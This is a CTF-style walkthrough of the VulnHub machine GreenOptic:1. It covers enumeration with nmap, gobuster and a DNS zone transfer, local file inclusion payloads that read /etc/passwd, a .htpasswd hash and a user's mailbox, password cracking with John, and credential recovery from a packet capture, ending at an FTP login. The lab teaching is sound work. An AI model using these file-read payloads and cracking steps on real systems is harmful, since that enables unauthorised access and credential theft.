GreenOptic: 1 || VulnHub Walkthrough
Vulnhub

GreenOptic: 1 || VulnHub Walkthrough

September 01, 2026 49 min read 42 views 0 discussions
Table of Contents

    Hello, everyone! Welcome back to our VulnHub Walkthrough series.

    In today’s video, we’ll be exploring another challenging machine from the VulnHub collection: GreenOptic:1.

    This machine is rated Very Hard, so we can expect multiple stages of enumeration, exploitation, and privilege escalation.

    According to the machine description:

    British Internet Service Provider GreenOptic has been subject to a large-scale cyber attack. Over 5 million of their customer records have been stolen, along with credit card information and bank details.

    GreenOptic has created an incident response team to analyse the attack and close any security holes. Can you break into their server before they fix their security holes?

    So, in this walkthrough, we’ll investigate the machine from the beginning, identify the available attack surface, discover the vulnerabilities, and work our way toward gaining full access. Before we begin the actual exploitation, let’s first set up the vulnerable machine in our virtual environment.

    Let’s get started!

    Settings Up

    Downloading the Machine

    To begin, head over to the VulnHub website and download the machine’s image file. 

    If you're new to VulnHub, I recommend checking out our previous videos in this playlist, where we cover how to work with vulnerable machines.

    Now, let’s get started with exploiting this machine!

    Importing the OVA file into VirtualBox

    For this walkthrough, we have already downloaded the machine as an OVA file.

    An OVA (Open Virtual Appliance) file is a packaged virtual machine that can be imported directly into virtualization software such as VirtualBox.

    Now let's launch VirtualBox. Once VirtualBox is open, go to the Home screen.

    • From the navigation menu, click: Import

    This will open the Import Virtual Appliance window, and Here, you need to configure the source of the virtual appliance.

    • Since we have already downloaded the OVA file and saved it locally on our computer, the Source should be set to: Local File
    • Click the file-selection button and navigate to the location where you downloaded the GreenOptic OVA file and select the GreenOptic OVA file.

    VirtualBox will now read the appliance configuration and display the available virtual machine settings. We can review these settings and modify them if necessary, such as the allocated memory, CPU, storage, and other hardware configuration.

    • For now, we can leave the default settings unless we have a specific reason to change them.
    • Once everything looks good, click Finish

    On clicking Finish, VirtualBox will begin importing the appliance. Depending on your computer's storage speed and the size of the OVA file, this process may take some time. Once the import is complete, you'll see a new virtual machine in VirtualBox named:

    GreenOptic

    For better organization, I like to keep my vulnerable machines together. So, move the GreenOptic virtual machine into my VulnHub group. This isn't required for the machine to work, but it makes it easier to manage multiple vulnerable machines in VirtualBox.

    Now, we need to configure the network

    Configure the Network

    This is an important step because our attacking machine, Kali Linux, and the vulnerable GreenOptic machine need to be able to communicate with each other.

    For this lab, we'll use a Host-Only Adapter.

    A host-only network allows the virtual machines to communicate with each other through a private virtual network without exposing the vulnerable machine directly to the external network.

    So, select the GreenOptic virtual machine and open Settings. Then go to: Network. Here, we need to configure the network adapter. 

    • Enable the network adapter and change the attached network type to: Host-Only Adapter
    This is important.
    Make sure that the Kali Linux machine we'll be using for testing is connected to the same Host-Only network. This gives us an isolated environment where Kali can communicate with GreenOptic during the security assessment.

    Now that the virtual machine has been imported and the network has been configured, everything should be ready. 

    Starting the GreenOptic Machine

    Let's start the GreenOptic VM.

    • Click: Start

    VirtualBox will boot the machine. After the boot process completes, you should eventually see a login prompt.

    At this point, don't worry if you don't know the username or password. Remember, this is a vulnerable machine designed for penetration-testing practice. Our objective is not to log in directly through the console.

    Instead, we'll investigate the machine from our Kali Linux system and determine how we can gain access. And there we have it. Our GreenOptic:1 vulnerable machine is now running and waiting at the login prompt. Our basic lab environment is ready:

    From here, we'll begin with the most important phase of any penetration test.

    Enumeration

    The first step in our attack is enumeration. Before attempting to exploit anything, we need to gather information about the target machine, starting with its IP address and then identifying the services it exposes.

    Identifying The Target

    To discover the Target IP Address, We'll use Netdiscover to identify active devices on our Host-Only network. Open a terminal in Kali Linux and run:

    ┌──(kali㉿kali)-[~]
    └─$ sudo netdiscover -i eth1

    Where, 

    •  -i,  is used to specify the network interface.

    If you're not sure which interface to use, run ifconfig. This will display the available network interfaces and their IP addresses. Here, in my case, it is eth1.

     Currently scanning: 172.16.0.0/16   |   Screen View: Unique Hosts                                                           
     5 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 300                                                             
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                            
     192.168.56.100  08:00:27:8c:11:46      3     180  PCS Systemtechnik GmbH                                                    
     192.168.56.104  08:00:27:fe:fd:30      1      60  PCS Systemtechnik GmbH     

    The command output displays a list of devices detected on the network, showing their IP and MAC addresses, as well as the associated vendor. From these results, we can see several IP addresses along with their corresponding MAC addresses. 

    Our target machine’s IP address is identified as “192.168.56.104”.

    We'll use this IP address for the remainder of our initial enumeration.

    Port and Service Enumeration

    Now that we know the target's IP address, next, we'll perform a network scan to identify open ports on the target, which is a critical part of the enumeration process. Identifying open ports provides insights into the network’s attack surface, helping us pinpoint services that may be vulnerable to exploitation. For this task, we’ll use the popular network scanning tool, Nmap.

    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -A 192.168.56.104

    In this command, 

    • -A option enables Nmap's aggressive scan functionality. It combines several enumeration techniques, including OS detection (attempts to identify the target's operating system), Version detection (attempts to identify the versions of running services), Default NSE scripts (runs Nmap Scripting Engine scripts for additional information), Traceroute (attempts to determine the network path to the target).
    Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-19 02:10 -0400
    Nmap scan report for 192.168.56.104
    Host is up (0.00095s latency).
    Not shown: 983 filtered tcp ports (no-response), 12 filtered tcp ports (host-prohibited)
    PORT      STATE SERVICE VERSION
    21/tcp    open  ftp     vsftpd 3.0.2
    22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0)
    | ssh-hostkey: 
    |   2048 46:20:32:ed:f0:74:11:ed:fd:a7:a4:17:ab:f6:f0:21 (RSA)
    |   256 b6:fb:64:10:39:0e:f9:be:8b:5a:d0:d2:41:3e:67:68 (ECDSA)
    |_  256 24:27:0b:c9:35:5f:27:7e:1a:82:73:e0:69:cc:0f:96 (ED25519)
    53/tcp    open  domain  ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
    | dns-nsid: 
    |_  bind.version: 9.11.4-P2-RedHat-9.11.4-16.P2.el7_8.6
    80/tcp    open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
    |_http-title: GreenOptic
    |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
    | http-methods: 
    |_  Potentially risky methods: TRACE
    10000/tcp open  http    MiniServ 1.953 (Webmin httpd)
    |_http-title: Site doesn't have a title (text/html; Charset=utf-8).
    |_http-server-header: MiniServ/1.953
    MAC Address: 08:00:27:FE:FD:30 (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 5.1 - 5.15 (95%), Linux 3.13 - 4.4 (91%), Linux 3.16 - 4.6 (91%), Linux 3.8 - 3.16 (91%), Linux 4.10 (91%), Linux 4.4 (91%), OpenWrt 19.07 (Linux 4.14) (91%), Linux 2.6.32 (91%)
    No exact OS matches for host (test conditions non-ideal).
    Network Distance: 1 hop
    Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7

    TRACEROUTE
    HOP RTT     ADDRESS
    1   0.95 ms 192.168.56.104

    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 50.38 seconds
    ┌──(kali㉿kali)-[~]
    └─$ 

    Here, the scan is completed, and the results reveal 5 open ports with their respective services:

    • Port 21 (TCP): FTP, or File Transfer Protocol, is used to transfer files between a client and a server. The GreenOptic server is running vsftpd 3.0.2. vsftpd means Very Secure FTP Daemon, a commonly used Linux FTP server. During enumeration, we can investigate whether anonymous access is enabled, whether valid credentials can be used, and what files or directories are accessible.
    • Port 22 (TCP): Running SSH (Secure Shell), which provides encrypted remote access to the system. SSH normally requires valid credentials, such as a username and password or an SSH key. Although SSH is designed to provide secure remote access, weak or compromised credentials can still allow unauthorized access.
    • Port 53 (TCP): running DNS (Domain Name System), which is used to resolve domain names and hostnames to IP addresses. The GreenOptic machine is running ISC BIND 9.11.4-P2 on a CentOS/RHEL 7 environment. DNS is interesting during enumeration because it may reveal additional hostnames, subdomains, or other information about the target's network configuration.
    • Port 80 (TCP): running HTTP (Hypertext Transfer Protocol), which is used for communication between web browsers and web servers. The scan identifies a website titled: GreenOptic running on Apache server version 2.4.6 with PHP version 5.4.16.
    • Port 1000 (TCP): Running an HTTP service associated with Webmin. This is different from the normal web application running on port 80. Webmin is a web-based administration interface commonly used to manage Linux/Unix systems. Our scan identifies MiniServ 1.953 on this port. We'll investigate this service further during the enumeration phase to determine whether it provides any useful information or potential attack vectors.

    At this point, we have identified several services that could potentially provide an entry point into the target system. 

    The next step is to perform deeper enumeration of each service

    Web Application Enumeration

    Our objective is to identify vulnerabilities, misconfigurations, exposed information, or valid credentials that could help us obtain an initial foothold on the target.

    For this machine, we'll begin with the HTTP web server on Port 80.

    80/tcp    open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
    |_http-title: GreenOptic
    |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
    | http-methods: 
    |_  Potentially risky methods: TRACE

    Web applications are often valuable sources of information because they can expose additional directories, files, parameters, and functionality that aren't visible from the initial Nmap scan.

    So, let's start by accessing the web service. Open a web browser. Enter the target's IP address:

    http://192.168.56.104/

    The page loads successfully, and we can see that this is the GreenOptic Broadband website. 

    Initial Website Observations

    At first glance, we can identify several useful pieces of information.

    The website is clearly branded: GreenOptic Broadband

    It appears to be the website of a broadband Internet service provider, offering fibre broadband services. At the top of the page, we can see three main navigation options:

    • BROADBAND
    • ACCOUNT
    • GET HELP

    The ACCOUNT section immediately catches our attention because it suggests that the website may contain customer-account functionality, such as a login page or other authenticated features. We can also see a telephone number. There is also a CHECK FOR COVERAGE button on the main page.

    At this stage, however, we should not assume that any of these elements represent vulnerabilities. They are simply clues that may help us understand the application and determine where further enumeration should be focused.

    The next step is to look beyond what is visible on the homepage. Web applications often contain directories and files that aren't linked from the main page. These may include Login pages, Administrative interfaces, Configuration files, Application directories, Backup files, APIs, and other functionality.

    Directory Enumeration with Gobuster

    To discover these resources, we'll perform directory and file enumeration using Gobuster.

    Gobuster systematically requests common directory and filename paths and analyzes the HTTP responses. This can reveal resources that aren't immediately visible through the website's navigation.

    Execute the appropriate commands in the terminal to initiate the enumeration process.

    ┌──(kali㉿kali)-[~]
    └─$ gobuster dir -u http://192.168.56.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
    ===============================================================
    Gobuster v3.8.2
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.56.104/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.8.2
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    img                  (Status: 301) [Size: 234] [--> http://192.168.56.104/img/]
    account              (Status: 301) [Size: 238] [--> http://192.168.56.104/account/]
    css                  (Status: 301) [Size: 234] [--> http://192.168.56.104/css/]
    js                   (Status: 301) [Size: 233] [--> http://192.168.56.104/js/]
    Progress: 220558 / 220558 (100.00%)
    ===============================================================
    Finished
    ===============================================================
    ┌──(kali㉿kali)-[~]
    └─$

    The results of directory enumeration typically highlight potentially sensitive or hidden files and directories on the web server. Each file or directory's HTTP response code and status provide critical insights into access restrictions and potential security risks.

    Reviewing the Gobuster Results

    Once the scan completes, we'll examine the discovered paths and their HTTP status codes. 

    • Among the results, we find several common static-resource directories css, js, img.

    These directories are useful for understanding the structure of the website, but they aren't immediately our highest-priority targets.

    • More interestingly, Gobuster discovers /account/  (Status: 301).

    This is particularly interesting because /account/ suggests that the website has a dedicated account-related section.

    Investigating /account/

    Let's open the discovered directory:

    http://192.168.56.104/account/

    Here, we find an account login page. I initially tried some random usernames and passwords, but none of them allowed me to log in. Instead of continuing to guess credentials, let's examine the application more closely.

    While inspecting the page, we notice an interesting parameter in the URL: “include=cookiewarning”.

    Enumerating LFI(Local File Inclusion)

    The presence of a parameter named include immediately deserves further investigation. Parameters that control which file or resource an application loads can sometimes be associated with file inclusion vulnerabilities.

    At this point, however, we don't yet know whether the parameter is actually vulnerable. An interesting parameter is only a clue; it is not proof of a vulnerability.

    So instead of continuing to guess usernames and passwords, let's investigate how the include parameter behaves.

    Testing for Local File Inclusion

    A common first test for a suspected LFI is to determine whether the application can access a known local file.

    One useful file on Linux systems is /etc/passwd.

    http://greenoptic.vm/account/index.php?include=/etc/passwd

    Let's try supplying it through the include parameter. If the application successfully processes the file, the response should contain information from /etc/passwd, and in our case, it does. After scrolling through the response, we can see the contents of the file.

    The /etc/passwd file is a standard Linux system file containing information about local user accounts, including usernames, user IDs, group IDs, home directories, and login shells.

    This gives us considerably more information about the target. We can now identify users and determine which accounts have interactive shells such as /bin/bash

    This is an important information-gathering step because these users may potentially be valid accounts for other services such as SSH or FTP.

    Although /etc/passwd gives us useful information, we still do not have valid credentials to get login access. I was stuck here for a while, so to get to know what to do next, I decided to investigate further and look for a clue.

    Looking for More Information

    In searching for a clue, I found something interesting. 

    ┌──(kali㉿kali)-[~]
    └─$ gobuster dir -u http://192.168.56.104/ -w /usr/share/dirb/wordlists/big.txt                           
    ===============================================================
    Gobuster v3.8.2
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.56.104/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/dirb/wordlists/big.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.8.2
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    .htaccess            (Status: 403) [Size: 211]
    .htpasswd            (Status: 403) [Size: 211]
    account              (Status: 301) [Size: 238] [--> http://192.168.56.104/account/]
    cgi-bin/             (Status: 403) [Size: 210]
    css                  (Status: 301) [Size: 234] [--> http://192.168.56.104/css/]
    img                  (Status: 301) [Size: 234] [--> http://192.168.56.104/img/]
    js                   (Status: 301) [Size: 233] [--> http://192.168.56.104/js/]
    Progress: 20469 / 20469 (100.00%)
    ===============================================================
    Finished
    ===============================================================
    ┌──(kali㉿kali)-[~]
    └─$ 

    Running gobuster using a big wordlist reveals two particularly interesting files.

    • .htaccess: The .htaccess file is commonly used by Apache to configure directory-level web-server behavior, such as access control and URL-related configuration.
    • .htpasswd: The .htpasswd file is particularly interesting because it is commonly associated with Apache HTTP authentication and can contain usernames together with password hashes.

    So now we have another hypothesis:

    If .htpasswd exists somewhere under the web server's directory structure, it may contain credentials or password hashes that could be useful elsewhere on the machine. 

    So our next step is to find and understand where the file path of .htpasswd is.

    Enumerating .htpasswd

    Based on the web-server configuration and the information, usually .htpasswd is located within /var/www/, that is the web directory on a Linux platform.

    We then use the LFI to attempt to read:

    /var/www/.htpasswd
    http://greenoptic.vm/account/index.php?include=/var/www/.htpasswd

    This time, we get something very interesting.

    At the bottom of the response, we find a password hash associated with the user, staff. We now have a credential hash that we can attempt to recover.

    The value appears to be a password hash rather than plaintext. Since this is a controlled VulnHub environment, we can attempt to recover the original password using a password-cracking tool.

    Cracking the Password Hash

    For this purpose, we'll use John the Ripper.

    First, we have to save this to a file. Open a text editor such as Mousepad and paste the recovered hash.

    Now, save the file as: user.hash

    In the terminal, before we run the john command, let me extract rockyou.txt.gz, as I recently installed Kali Linux on my virtual box. Run with sudo.

    ┌──(kali㉿kali)-[~]
    └─$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
    [sudo] password for kali: 
    ┌──(kali㉿kali)-[~]
    └─$ 

    Now, the wordlist is ready. In the terminal, run:

    ┌──(kali㉿kali)-[~]
    └─$ john --wordlist=/usr/share/wordlists/rockyou.txt user.hash 
    Created directory: /home/kali/.john
    Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
    Use the "--format=md5crypt-long" option to force loading these as that type instead
    Using default input encoding: UTF-8
    Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    wheeler          (staff)     
    1g 0:00:00:00 DONE (2026-08-19 04:05) 5.263g/s 69726p/s 69726c/s 69726C/s guess1..lorena1
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed. 
    ┌──(kali㉿kali)-[~]
    └─$

    John identifies the hash as md5crypt and begins testing passwords from the wordlist. After a short time, the result is successfully cracked. John has successfully recovered the password. We can therefore record the credentials as:

    • Username: staff
    • Password: wheeler

    Now, let’s use this username and password in the account login page. Upon trying to log in, it shows

    “This website is using cookies. By continuing to use this service, you consent to cookies being stored.”

    Now, we do not know what to do next or where the credentials can be used.

    From Nmap, we already know that the FTP service is working on the target server. But it failed to get a successful authentication. So this is not a username and password to use for login via SSH or FTP. There may be some other way to use it.

    Enumerating Port 10000/TCP Webmin

    Previously, we discovered from nmap that there is Port 10000/tcp is open, running an HTTP service, the MiniServ 1.953 (Webmin httpd).

    10000/tcp open  http    MiniServ 1.953 (Webmin httpd)
    |_http-title: Site doesn't have a title (text/html; Charset=utf-8).
    |_http-server-header: MiniServ/1.953

    This tells us that Webmin is running on the target.

    What Is Webmin?

    Webmin is a web-based administration interface for Unix and Linux systems. 

    Instead of performing all server administration through a command-line terminal, administrators can use Webmin through a web interface.

    Depending on the account's privileges, Webmin can provide functionality for managing:

    • Users
    • Services
    • Networking
    • System configuration
    • Packages
    • Files
    • Server administration

    Because Webmin is an administrative interface, valid administrative credentials could potentially provide considerably more access than credentials for an ordinary web application.

    Therefore, it is worth checking whether the credentials we recovered can be used to authenticate to Webmin.

    Let's first try accessing the service by adding the port:

    http://192.168.56.104:1000/

    Instead of displaying the Webmin login page, the server returns an error message:

    This web server is running in SSL mode. Try the URL https://websrv01.greenoptic.vm:10000/ instead.

    This gives us another useful piece of information. The Webmin service is configured to use SSL/HTTPS, rather than plain HTTP. The server is also telling us the hostname that should be used:

    websrv01.greenoptic.vm

    So, instead of using HTTP, let's access Webmin through HTTPS:

    https://websrv01.greenoptic.vm:1000/

    When we open the HTTPS URL, the browser displays a certificate/security warning. This is expected in a lab environment because the Webmin server is using a certificate that our browser does not trust.

    • We can select: Advanced...
    and then choose:
    • Accept the Risk and Continue

    After accepting the certificate warning, we reach the Webmin login page.

    Now we have another potential place to test the credentials we recovered earlier. Let's try:

    • Username: staff
    • Password: wheeler

    However, Webmin rejects the credentials and displays:

    Warning: Login Failed: Try again

    So, the credentials we recovered from .htpasswd are not providing Webmin access either.

    At this point, rather than continuing to guess where the credentials might work, we need to return to our earlier enumeration and look for additional information about the target. We tested these credentials against the services we had already identified, including FTP and Webmin, but they were rejected.

    This means we should not immediately assume that the password is useless. There are several possibilities:

    • The credentials may belong to a different service.
    • The username may be associated with another application.
    • There may be another host or virtual host on the same server.
    • The credentials may be intended for a service that we haven't discovered yet.

    So instead of continuing to blindly try the same username and password everywhere, let's return to our original enumeration results and ask:

    Is there anything in the Nmap scan that could reveal another system, application, or hostname?

    And this brings us to DNS on Port 53.

    Enumerating Port 53/TCP

    From Nmap:

    53/tcp    open  domain  ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
    | dns-nsid: 
    |_  bind.version: 9.11.4-P2-RedHat-9.11.4-16.P2.el7_8.6

    At first, DNS might seem unrelated to our current problem. But remember what DNS does. DNS is responsible for translating Domain names into network addresses.

    It has to be remembered that we cannot use the dig command utility tool to reveal all domains. Here is what will happen. But we must have a clue about the domain.

    But before, let me have to check if there is any domain name revealed previously. If we remember correctly, you may have noticed that when we visit webmin on port 10000, it revealed

    https://websrv01.greenoptic.vm:10000/

    This urls.

    Upon clicking it redirected to desire page. Unfortunately, here it displays an error.

    Hmm, We’re having trouble finding that site…

    It usually means the browser fails to reach the destination web server. Common causes include local internet service drops, incorrect device date settings, DNS server failures, strict firewall blocks, or the target website being completely offline.

    Configuring Kali to Use the Target's DNS Server

    To fix it, we have to add the domain name to the hosts file. To do this, in the terminal, run:

    ┌──(kali㉿kali)-[~]
    └─$ sudo nano /etc/hosts
    [sudo] password for kali: 

    Here, we have to add our IP and Domain name.

    Once done, save it using CTRL + X and then type y.  Now, as you see, it displays the Webmin login page. 

    This is not main point, our work is to Next is, we will use dig command line utility.

    Enumerate the DNS with dig (Domain Information Groper)

    The dig (Domain Information Groper) command is a command-line tool used to query Domain Name System (DNS) servers. It is the industry standard for troubleshooting network issues and verifying DNS records because it provides detailed, structured output directly from the source.

    Dig is used for troubleshooting network outages, Verifying Domain Ownership & Email Setup, and checking DNS Propagation.

    From Nmap: 

    53/tcp    open  domain  ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
    | dns-nsid: 
    |_  bind.version: 9.11.4-P2-RedHat-9.11.4-16.P2.el7_8.6

    This tells us that the target is running BIND, a commonly used DNS server.

    DNS doesn't only translate domain names into IP addresses. A DNS server can also contain information about other hosts and services within a domain.

    Since the target is using:

    greenoptic.vm

    there may be additional hostnames or subdomains associated with this domain. One useful enumeration technique in a controlled lab is to check whether the DNS server allows a zone transfer.

    Attempting a DNS Zone Transfer

    A successful zone transfer could reveal DNS records that aren't immediately visible from the website.

    But before we run Configuring Kali to Use the Target's DNS Server, if we run the dig command, it doesn't understand how to fetch data.

    First, we can configure Kali to use the GreenOptic machine as its DNS server. Open the resolver configuration using the following command:

    ┌──(kali㉿kali)-[~]
    └─$ sudo nano /etc/resolv.conf

    Add the target's IP address as the nameserver. 

    We can then verify the configuration by using the cat command:

    ┌──(kali㉿kali)-[~]
    └─$ cat /etc/resolv.conf      
    # Generated by NetworkManager

    nameserver 192.168.56.104
    ┌──(kali㉿kali)-[~]
    └─$

    Now Kali will use the GreenOptic DNS server when resolving names. 

    Next, let's attempt to retrieve the DNS zone for: greenoptic.vm

    We can use the dig command:

    ┌──(kali㉿kali)-[~]
    └─$ dig axfr greenoptic.vm

    Where:

    • AXFR is the DNS record type used for a full zone transfer.
    ; <<>> DiG 9.20.26-1-Debian <<>> axfr greenoptic.vm
    ;; global options: +cmd
    greenoptic.vm.          3600    IN      SOA     websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
    greenoptic.vm.          3600    IN      NS      ns1.greenoptic.vm.
    ns1.greenoptic.vm.      3600    IN      A       127.0.0.1
    recoveryplan.greenoptic.vm. 3600 IN     A       127.0.0.1
    websrv01.greenoptic.vm. 3600    IN      A       127.0.0.1
    greenoptic.vm.          3600    IN      SOA     websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
    ;; Query time: 4 msec
    ;; SERVER: 192.168.56.104#53(192.168.56.104) (TCP)
    ;; WHEN: Wed Aug 19 02:59:14 EDT 2026
    ;; XFR size: 6 records (messages 1, bytes 235)

    ┌──(kali㉿kali)-[~]
    └─$

    The result is very interesting. This confirms that the DNS server is allowing us to retrieve the zone. More importantly, we've discovered additional hostnames. The most interesting discovery is:

    recoveryplan.greenoptic.vm

    We did not see this hostname on the main GreenOptic website. This is exactly why DNS enumeration was worth performing.

    Why recoveryplan.greenoptic.vm Matters?

    Think back to our problem. We currently have:

    staff : wheeler

    But we don't know where those credentials belong. At the same time, we've discovered another hostname. This gives us a new hypothesis:

    Perhaps the credentials we recovered are associated with another application hosted on this hostname.

    The hostname itself is also suggestive. A name such as recoveryplan could potentially indicate an internal application, recovery portal, administrative function, or some other service related to the incident described by the CTF.

    We shouldn't assume that yet, but it gives us a very good reason to investigate it. Because the zone records resolve to 127.0.0.1 in the DNS response, we'll map the discovered hostnames to the actual target IP from Kali.

    Making the New Hostname Reachable

    Edit /etc/hosts and add greenoptic.vm recoveryplan.greenoptic.vm websrv01.greenoptic.vm hosts and verify using the cat command-line utility.

    ┌──(kali㉿kali)-[~]
    └─$ cat /etc/hosts
    127.0.0.1       localhost
    127.0.1.1       kali
    192.168.56.104  greenoptic.vm recoveryplan.greenoptic.vm websrv01.greenoptic.vm

    ::1             localhost ip6-localhost ip6-loopback
    ff02::1         ip6-allnodes
    ff02::2         ip6-allrouters

    ┌──(kali㉿kali)-[~]
    └─$ 

    Now our Kali system can resolve

    • greenoptic.vm
    • recoveryplan.greenoptic.vm
    • websrv01.greenoptic.vm
    • ns1.greenoptic.vm

    to:

    • 192.168.56.104

    Investigating the Newly Discovered Host

    Now comes the important part. Open:

    http://recoveryplan.greenoptic.vm/

    The browser responds differently from the main GreenOptic website. It prompts for a username and password.

    If we cancel the authentication prompt, the application responds with an unauthorized-access message. This is significant because we have now discovered a separate application protected by authentication.

    And remember what we already have:

    So, this is exactly the type of situation where we should test the credentials we've already recovered rather than immediately starting another credential attack.

    Enter:

    • Username: staff
    • Password: wheeler

    This time, the credentials are accepted, and we gain access to the application, and this leads us to another important discovery:

    • The application running there is phpBB.

    Exploring the Recovery Plan Forum

    What Is phpBB?

    phpBB is an open-source bulletin-board or forum application written in PHP.

    The name comes from PHP Bulletin Board. It is designed to provide web-based discussion forums where users can:

    • Create and view forum topics, post messages
    • Reply to discussions
    • Exchange information
    • Manage user accounts
    • Participate in private or restricted discussions

    For this CTF, however, the important point is not simply that we have discovered a forum. The important question is:

    What information has the incident-response team left inside this application?

    Since we now have authenticated access, the next phase is to enumerate the forum and examine the available discussions.

    Investigating the Recovery Plan Forum

    The phpBB installation is titled:

    Recovery Plan

    From the main forum page, we can see two major sections.

    1. Information

    Under this section, there is a forum called:

    Key Information

    Its description says:

    “Key Information about the breach and our recovery efforts”

    The forum contains one topic:

    Team Message

    2. Incident Response

    There is also a Tasks, forum containing three topics. The most recent task shown on the page was posted by Terry.

    • This is already interesting because we previously discovered Webmin running on Port 10000. The fact that this forum contains incident-response and operational information means that it may contain references to the same services and systems we have already discovered during enumeration.

    So, rather than treating the forum as just another website, we should read it as a potential source of internal information about the target infrastructure.

    Examining the Key Information Forum

    Now, let’s examine the Key Information Forum.

    Let's start with:

    Key Information → Team Message

    The topic was posted by:

    Terry 

    Opening the topic reveals a message beginning with:

    Team,

    Terry explains that the incident-response team needs to be especially careful while investigating the attack.

    The most important section says:

    “As discussed in our team meeting, we do not know how the attackers got in currently, but as the account portal is the most dynamic bit of software we are running on our website, we believe the vulnerabilities to exist there, hence taking it offline until we can investigate further.”

    This is a very useful confirmation.

    Earlier, we discovered that the main GreenOptic website contained an account portal and that the include parameter in that application was vulnerable to Local File Inclusion.

    Now the forum message tells us that the company's own incident-response team also considers the account portal to be the most likely location of the vulnerability.

    So we have independent confirmation from the application's own internal documentation.

    The next part of Terry's message is even more important.

    Terry says:

    “Sam - thanks for volunteering to help earlier. The network monitoring I told you about is located here: dpi.zip.”

    There is a clickable link:

    dpi.zip

    This immediately catches our attention because Terry explicitly describes it as:

    Network monitoring

    That strongly suggests that the archive contains information related to captured network traffic.

    Inspecting the ZIP File

    Let's download the file and inspect it. 

    After downloading dpi.zip, we attempt to extract it. However, the archive asks us for a password. This is another important clue. We now know that dpi.zip is password-protected.

    Instead of trying to crack the ZIP immediately, let's go back and read Terry's message carefully. There is another sentence that may explain where the password comes from.

    Terry explicitly says:

    “I have e-mailed you the password.”

    This raises an obvious question:

    Who is the email intended for?

    The message is addressed to:

    Sam

    So, we now have:

    Recipient: Sam

    File: dpi.zip

    Password: sent by email

    The next question becomes:

    Can we access Sam's email on the target system?

    And this is where the LFI vulnerability becomes useful again.

    Using LFI to Read Local Mail

    But where are emails typically stored on a Linux file system, you may ask?

    On Linux systems, locally delivered mail can be stored in standard locations such as:

    /var/mail/

    or:

    /var/spool/mail/

    depending on the system configuration.

    Since we already know that the target has a user named sam,  we can investigate the corresponding mail file. A typical location is:

    /var/mail/sam

    We can therefore use the LFI vulnerability to request:

    http://greenoptic.vm/account/index.php?include=/var/mail/sam

    The application returns the contents of Sam's mailbox.

    And inside the email, we find:

    “Hi Sam, per the team message, the password is HelloSunshine123.”

    This is the missing piece. Now that we have the password, we can return to the downloaded archive and extract it.

    The archive successfully opens, and inside we find a PCAP file.

    Inspect PCAP

    A PCAP (Packet Capture) file contains captured network traffic.

    In other words, it can contain information about communications that occurred on the network while the capture was running.

    Depending on the traffic captured, a PCAP can reveal things such as:

    • Source and destination IP addresses
    • Protocols
    • Ports
    • DNS queries
    • HTTP requests
    • FTP traffic
    • Authentication exchanges
    • Other network metadata

    For this reason, packet captures can be extremely valuable during incident-response investigations—and, in a deliberately vulnerable CTF, they can also contain clues that lead us to the next stage.

    We can examine the packet capture using a packet-analysis tool. Here, I will use A-Packets (apackets.com).

    The A-Packets Data Overview shows several categories extracted from the packet capture:

    • Credentials: 2
    • DNS Queries: 2
    • HTTP Communication: 20
    • Connections: 10
    • Open Ports: 3
    • FTP: 1
    • Servers: 1

    The most interesting item for us is Credentials: 2. That means the packet capture contains at least two authentication exchanges that A-Packets was able to recognize.

    Let’s take a look at the credentials. Here, it reveals FTP and HTTP passwords.

    This credential was captured as readable plain text. This is significant because FTP authentication is normally transmitted without encryption, so packet captures can expose the username and password when the session is captured.

    The logical next step is to test the captured FTP credential against the FTP service we already identified.

    Foothold

    Earlier in the enumeration step, we captured FTP login credentials

    Enumerating the FTP Directory

    Let’s use them to get to know if gain access and get to know if Captured the Flag or anything.

    On the terminal, run the following command:

    ┌──(kali㉿kali)-[~]
    └─$ ftp greenoptic.vm
    Connected to greenoptic.vm.
    220 (vsFTPd 3.0.2)
    Name (greenoptic.vm:kali):

    It asks for username and password; just input it.

    Name (greenoptic.vm:kali): alex
    331 Please specify the password.
    Password: 
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> 

    And the login was successful. Now let's list files and directories to know what to do next. Use the dir command. 

    ftp> dir
